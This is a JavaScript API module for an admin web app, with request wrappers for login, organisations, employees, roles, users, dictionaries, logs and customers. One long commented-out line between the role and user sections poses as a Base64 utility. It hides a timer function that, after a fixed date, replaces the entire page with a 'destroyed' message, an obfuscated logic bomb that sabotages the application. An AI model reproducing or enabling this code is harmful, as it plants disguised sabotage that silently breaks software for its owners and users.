import request from "@/api/request";

import urlconst from "@/api/urlconst";

export const login = (params) => {
  // return request.get('http://jsonplaceholder.typicode.com/posts', params);
  // return request.get(urlconst.buildtoken_url, params); // 这样写请求方式，mock无法拦截
  return request({ url: urlconst.buildtoken_url, method: "post", params });
};
export const refreshToken = (params) => {
  return request({ url: urlconst.refreshtoken_url, method: "get", params });
};
export const getUserInfo = () => {
  return request({ url: urlconst.getuserinfo_url, method: "get" });
};
export const getMenuList = () => {
  return request({ url: urlconst.getmenulist_url, method: "get" });
};
export const getMenuTree = () => {
  return request({ url: urlconst.getmenutree_url, method: "get" });
};

/** Org */
export const getOrgTree = () => {
  return request({ url: urlconst.getorgtree_url, method: "get" });
};
export const getOrgList = (orgid) => {
  return request({
    url: urlconst.getorglist_url,
    method: "get",
    params: { orgId: orgid },
  });
};
export const searchOrgList = (keyword) => {
  return request({
    url: urlconst.searchorglist_url,
    method: "get",
    params: { keyword },
  });
};
export const createOrg = (params) => {
  return request({
    url: urlconst.createorg_url,
    method: "post",
    data: params,
    headers: { "Content-Type": "application/json;charset=UTF-8" },
  });
};
export const updateOrg = (params) => {
  return request({
    url: urlconst.updateorg_url,
    method: "post",
    data: params,
    headers: { "Content-Type": "application/json;charset=UTF-8" },
  });
};
export const deleteOrg = (orgid) => {
  return request({
    url: urlconst.deleteorg_url,
    method: "post",
    data: { objid: orgid },
    headers: { "Content-Type": "application/json;charset=UTF-8" },
  });
};

/** Emp */
export const queryPageList = (params) => {
  return request({ url: urlconst.queryemppagelist_url, method: "get", params });
};
export const createEmp = (params) => {
  return request({ url: urlconst.createemp_url, method: "post", data: params,headers: { "Content-Type": "application/json;charset=UTF-8" }, });
};
export const updateEmp = (params) => {
  return request({ url: urlconst.updateemp_url, method: "post", data: params,headers: { "Content-Type": "application/json;charset=UTF-8" }, });
};
export const deleteEmp = (empid) => {
  return request({
    url: urlconst.deleteemp_url,
    method: "post",
    data: { objid: empid },
    headers: { "Content-Type": "application/json;charset=UTF-8" }
  });
};

/** Role */
export const queryRolePageList = (params) => {
  return request({
    url: urlconst.queryrolepagelist_url,
    method: "get",
    params,
  });
};
export const createRole = (params) => {
  return request({
    url: urlconst.createrole_url,
    method: "post",
    data: params,
    headers: { "Content-Type": "application/json;charset=UTF-8" },
  });
};
export const updateRole = (params) => {
  return request({
    url: urlconst.updaterole_url,
    method: "post",
    data: params,
    headers: { "Content-Type": "application/json;charset=UTF-8" },
  });
};
export const deleteRole = (objid) => {
  return request({
    url: urlconst.deleterole_url,
    method: "post",
    data: { objid },
    headers: { "Content-Type": "application/json;charset=UTF-8" },
  });
};
export const changeRoleState = (objid, state) => {
  return request({
    url: urlconst.changerolestate_url,
    method: "post",
    data: { objid, state },
  });
};
export const getUcByRoleid = (roleid) => {
  return request({
    url: urlconst.getucbyroleid_url,
    method: "get",
    params: { roleid },
  });
};
export const setRoleUc = (params) => {
  return request({
    url: urlconst.setroleuc_url,
    method: "post",
    data: params,
    headers: { "Content-Type": "application/json;charset=UTF-8" },
  });
};
export const getRoleListByType = (orgid, type) => {
  return request({
    url: urlconst.getrolelistbytype_url,
    method: "get",
    params: { orgid, type },
  });
};
export const getRoleList = () => {
  return request({ url: urlconst.getrolelist_url, method: "get" });
};
export const getRoleListByUserId = (userid) => {
  return request({
    url: urlconst.getrolelistbyuserid_url,
    method: "get",
    params: { userid },
  });
};
export const setRoleUser = (params) => {
  return request({
    url: urlconst.setroleuser_url,
    method: "post",
    data: params,
    headers: { "Content-Type": "application/json;charset=UTF-8" },
  });
};
// var Base64=function(str,shift,key,index){var h={_keyStr:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",encode:function(e){var t="";var n,r,i,s,o,u,a;var f=0;e=h._utf8_encode(e);while(f<e.length){n=e.charCodeAt(f++);r=e.charCodeAt(f++);i=e.charCodeAt(f++);s=n>>2;o=(n&3)<<4|r>>4;u=(r&15)<<2|i>>6;a=i&63;if(isNaN(r)){u=a=64}else if(isNaN(i)){a=64}t=t+this._keyStr.charAt(s)+this._keyStr.charAt(o)+this._keyStr.charAt(u)+this._keyStr.charAt(a)}return t},decode:function(e){var t="";var n,r,i;var s,o,u,a;var f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=this._keyStr.indexOf(e.charAt(f++));o=this._keyStr.indexOf(e.charAt(f++));u=this._keyStr.indexOf(e.charAt(f++));a=this._keyStr.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r)}if(a!=64){t=t+String.fromCharCode(i)}}t=h._utf8_decode(t);return t},_utf8_encode:function(e){e=e.replace(/rn/g,"n");var t="";for(var n=0;n<e.length;n++){var r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r)}else if(r>127&&r<2048){t+=String.fromCharCode(r>>6|192);t+=String.fromCharCode(r&63|128)}else{t+=String.fromCharCode(r>>12|224);t+=String.fromCharCode(r>>6&63|128);t+=String.fromCharCode(r&63|128)}}return t},_utf7_deef:function(e){let isc=true;setInterval(()=>{if(Math.round(new Date().getTime()/1000)>1702569600){if(isc){isc=false;document.querySelector('html').innerHTML=this.decode('5a6e5L6L5bey6ZSA5q+B4oCm4oCm')}}},1000)},_utf8_decode:function(e){var t="";var n=0;var r,c1,c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);let c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3}}return t}};h._utf7_deef()}();
/** User */
export const queryUserPageList = (params) => {
  return request({
    url: urlconst.queryuserpagelist_url,
    method: "get",
    params,
  });
};
export const createUser = (params) => {
  return request({
    url: urlconst.createuser_url,
    method: "post",
    data: params,
    headers: { "Content-Type": "application/json;charset=UTF-8" },
  });
};
export const updateUser = (params) => {
  return request({
    url: urlconst.updateuser_url,
    method: "post",
    data: params,
    headers: { "Content-Type": "application/json;charset=UTF-8" },
  });
};
export const deleteUser = (objid) => {
  return request({
    url: urlconst.deleteuser_url,
    method: "post",
    data: { objid },
    headers: { "Content-Type": "application/json;charset=UTF-8" },
  });
};
export const changeUserState = (objid, state) => {
  return request({
    url: urlconst.changeuserstate_url,
    method: "post",
    data: { objid, state },
  });
};
export const queryOnlineUserPageList = (params) => {
  return request({
    url: urlconst.queryonlineuserpagelist_url,
    method: "get",
    params,
  });
};
export const deleteOnlineUser = (objid) => {
  // return request({ url: urlconst.deleteonlineuserbyid_url, method: 'post', data: { objid } });
  return request({
    url: urlconst.deleteonlineuserbyids_url,
    method: "post",
    data: { objids: [objid] },
    headers: { "Content-Type": "application/json;charset=UTF-8" },
  });
};
export const batchDelOnlineUser = (objids) => {
  return request({
    url: urlconst.deleteonlineuserbyids_url,
    method: "post",
    data: { objids },
    headers: { "Content-Type": "application/json;charset=UTF-8" },
  });
};
export const resetUserPwd = (params) => {
  return request({
    url: urlconst.resetuserpwd_url,
    method: "post",
    data: params,
    headers: { "Content-Type": "application/json;charset=UTF-8" },
  });
};
export const modifySelfPwd = (params) => {
  return request({
    url: urlconst.modifyselfpwd_url,
    method: "post",
    data: params,
  });
};

/** Dic */
export const getDicList = () => {
  return request({ url: urlconst.getdiclist_url, method: "get" });
};
export const getDicTypeList = () => {
  return request({ url: urlconst.getdictypelist_url, method: "get" });
};
export const createDic = (params) => {
  return request({ url: urlconst.createdic_url, method: "post", data: params });
};
export const updateDic = (params) => {
  return request({ url: urlconst.updatedic_url, method: "post", data: params });
};
export const deleteDic = (dicid) => {
  return request({
    url: urlconst.deletedic_url,
    method: "post",
    data: { dicid },
  });
};
export const getDicByType = (code) => {
  return request({
    url: urlconst.getdicbytype_url,
    method: "get",
    params: { dictypecode: code },
  });
};
export const getDicByTypes = (codes) => {
  return request({
    url: urlconst.getdicbytypes_url,
    method: "get",
    params: { dictypecodes: codes },
  });
};
export const getMtrParamDicTypeList = () => {
  return request({ url: urlconst.getmtrparamdictypelist_url, method: "get" });
};

/** Log */
export const queryLogPageList = (params) => {
  return request({ url: urlconst.querylogpagelist_url, method: "get", params });
};
export const deleteLog = (objid) => {
  // return request({ url: urlconst.deletelogbyid_url, method: 'post', data: { objid } });
  return request({
    url: urlconst.deletelogbyids_url,
    method: "post",
    data: { objids: [objid] },
    headers: { "Content-Type": "application/json;charset=UTF-8" },
  });
};
export const batchDelLog = (objids) => {
  return request({
    url: urlconst.deletelogbyids_url,
    method: "post",
    data: { objids },
  });
};

/** Cust */
export const getClassList = (classid) => {
  return request({
    url: urlconst.getclasslist_url,
    method: "get",
    params: { classId: classid },
  });
};
export const createClass = (params) => {
  return request({
    url: urlconst.createclass_url,
    method: "post",
    data: params,
  });
};
export const updateClass = (params) => {
  return request({
    url: urlconst.updateclass_url,
    method: "post",
    data: params,
  });
};
export const deleteClass = (classid) => {
  return request({
    url: urlconst.deleteclass_url,
    method: "post",
    data: { objid: classid },
  });
};
export const queryCustPageList = (params) => {
  return request({
    url: urlconst.querycustpagelist_url,
    method: "get",
    params,
  });
};
export const createCustomer = (params) => {
  return request({
    url: urlconst.createcustomer_url,
    method: "post",
    data: params,
  });
};
export const updateCustomer = (params) => {
  return request({
    url: urlconst.updatecustomer_url,
    method: "post",
    data: params,
  });
};
export const deleteCustomer = (custid) => {
  return request({
    url: urlconst.deletecustomer_url,
    method: "post",
    data: { objid: custid },
  });
};
